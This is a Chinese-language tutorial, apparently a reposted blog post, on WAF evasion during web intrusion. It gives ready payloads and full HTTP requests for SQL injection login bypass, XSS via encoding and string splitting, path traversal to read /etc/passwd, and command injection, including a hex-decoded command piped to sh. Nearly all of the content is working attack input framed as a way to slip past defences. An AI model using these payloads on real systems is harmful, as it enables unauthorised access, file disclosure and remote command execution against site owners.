Web打点与WAF绕过技术具体实例(接上一篇)包含SQL注入绕过WAF、XSS绕过WAF、文件包含漏洞、命令注入

devtools/2024/10/21 11:48:18/

为了更好地理解和应用上一篇的Web打点与WAF绕过技术,本篇将通过具体示例进行详细说明。每个示例将在前面介绍的技术基础上,展示如何在实际场景中操作。

示例一:SQL注入绕过WAF


场景描述
我们在一个登录页面发现SQL注入漏洞注入点在用户名字段上。原始Payload为:

sql">' OR 1=1 --


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来进行注入

绕过方法与示例


1. URL编码

将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。
sql">%27%20OR%201%3D1%20--


发送请求:

sql">GET /login?username=%27%20OR%201%3D1%20--&password=123 HTTP/1.1
Host: example.com

2. 使用注释符混淆

利用SQL注释符进行Payload混淆,使其变得难以识别。
sql">'/**/OR/**/1=1/**/--


发送请求:

sql">GET /login?username=%27/**/OR/**/1=1/**/--&password=123 HTTP/1.1
Host: example.com

3. 分块传输编码

利用HTTP 1.1的分块传输编码,将Payload分块发送。
sql">POST /login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked0a
' OR 1=
0a
1 --
0


示例二:XSS绕过WAF


场景描述
在一个留言板页面,我们发现可以注入XSS Payload,原始Payload为:

<script>alert('XSS')</script>


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来注入XSS。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。

%3Cscript%3Ealert(%27XSS%27)%3C/script%3E


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

2. 使用Unicode编码


将<script>转换为Unicode编码,使其绕过WAF检测。

%u003Cscript%u003Ealert('XSS')%u003C/script%u003E


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=%u003Cscript%u003Ealert('XSS')%u003C/script%u003E

3. DOM拼接

利用JavaScript的拼接功能,将恶意脚本分段注入

<img src="x" onerror="al"+"ert('XSS')">


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=<img src="x" onerror="al"+"ert('XSS')">


示例三:文件包含漏洞


场景描述
在一个文件下载功能中,我们发现可以通过文件包含漏洞读取服务器上的文件。原始Payload为:

download.php?file=../../../../etc/passwd


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来读取文件。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送。

download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd


发送请求:

GET /download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
Host: example.com

2. 使用Null字节(%00)


在文件路径末尾加入Null字节,绕过WAF的文件扩展名检查。

download.php?file=../../../../etc/passwd%00


发送请求:

GET /download.php?file=../../../../etc/passwd%00 HTTP/1.1
Host: example.com

3. 利用WAF的误判


有时WAF的规则可能存在误判漏洞,可以通过修改Payload的形式绕过检测。

download.php?file=....//....//....//....//etc/passwd


发送请求:

GET /download.php?file=....//....//....//....//etc/passwd HTTP/1.1
Host: example.com


示例四:命令注入


场景描述
在一个系统命令调用功能中,我们发现可以通过命令注入漏洞执行系统命令。原始Payload为:

; cat /etc/passwd


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来执行命令。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送。

%3B%20cat%20%2Fetc%2Fpasswd


发送请求:


GET /execute?cmd=%3B%20cat%20%2Fetc%2Fpasswd HTTP/1.1
Host: example.com

2. 使用特殊符号


利用特殊符号绕过WAF检测。

; cat$IFS/etc/passwd


发送请求:

GET /execute?cmd=%3B%20cat$IFS/etc/passwd HTTP/1.1
Host: example.com

3. 使用异或编码


将命令进行异或编码后在服务器端解码执行。

echo "payload" | xxd -r -p | sh


发送请求:

GET /execute?cmd=echo%20"7061796c6f6164"%20%7C%20xxd%20-r%20-p%20%7C%20sh HTTP/1.1
Host: example.com


http://www.ppmy.cn/devtools/125813.html

相关文章

【MySQL数据库】MySQL事务

文章目录 MySQL事务事务的四个基本特性&#xff08;ACID&#xff09;1. 原子性&#xff08;Atomicity&#xff09;2. 一致性&#xff08;Consistency&#xff09;3. 隔离性&#xff08;Isolation&#xff09;4. 持久性&#xff08;Durability&#xff09; 事务的应用场景事务的…

WriteUp - 江苏省领航杯 CTF 2024

文章目录 一、前言二、MISC高职组1、签到2、BASE拓展 3、PG 本科组1、签到2、veee3、seeme 三、WEB高职组1、aio2、robots3、web_sql_xxe 本科组1、web_sql_xxe2、提权3、acxi拓展 四、CRYPTO高职组1、兔兔2、1zRSA 本科组1、兔兔2、Evaluate 五、REVERSE高职组1、easyre2、16q…

读懂Embedding

读懂Embedding 在VIT中&#xff0c;每个path利用linear layer或1*1卷积进行embedding&#xff0c;所以embedding后得到的token是可学习的。

【软件部署安装】OpenOffice转换PDF字体乱码

现象与原因分析 执行fc-list查看系统字体 经分析发现&#xff0c;linux默认不带中文字体&#xff0c;因此打开我们本地的windows系统的TTF、TTC字体安装到centos机器上。 安装字体 将Windows的路径&#xff1a; C:\Windows\Fonts 的中文字体&#xff0c;如扩展名为 TTC 与TT…

尚硅谷rabbitmq2024介绍和工作模式 第4-9节 答疑

RabbitMQ体系结构介绍重要:对体系结构的理解直接关系到后续的操作和使用 Broker Connection Channel Producer Channel Virtual Host Consumer Channel ---rabbitmq connection里面有很多channel&#xff0c;channel是什么 在RabbitMQ中&#xff0c;channel&#xff08;通道&…

秋招面试题记录

嵌入式软件开发 网上搜集的题目 1.Static关键词的作用&#xff1f; static 关键字有三个主要作用&#xff1a; 局部变量&#xff1a;在函数内部&#xff0c;static 局部变量只初始化一次&#xff0c;且在函数调用结束后仍然保留其值。全局变量/函数&#xff1a;在文件内部&a…

内网笔记大全

内网笔记大全 1、基础命令 Windows 1、net user #查看用户 2、net view #查看在线主机 3、systeminfo #查看操作系统的基本配置 4、ipconfig /all #详细显示当前网络配置信息和网卡信息 5、net localgroup #查看本地组信息 6、net localgroup administrators #查看管理员组 7、…

Java面试题———SpringBoot篇

目录 1、项目中为什么选择SpringBoot 2、SpringBoot的自动装配原理 3、SpringBoot的核心注解是哪个 4、SpringBoot中的starter是干什么的 5、SpringBoot可以有哪些方式加载配置 6、bootstrap.yml和application.yml有何区别 7、SpringBoot读取配置的方式有几种 8、Spring…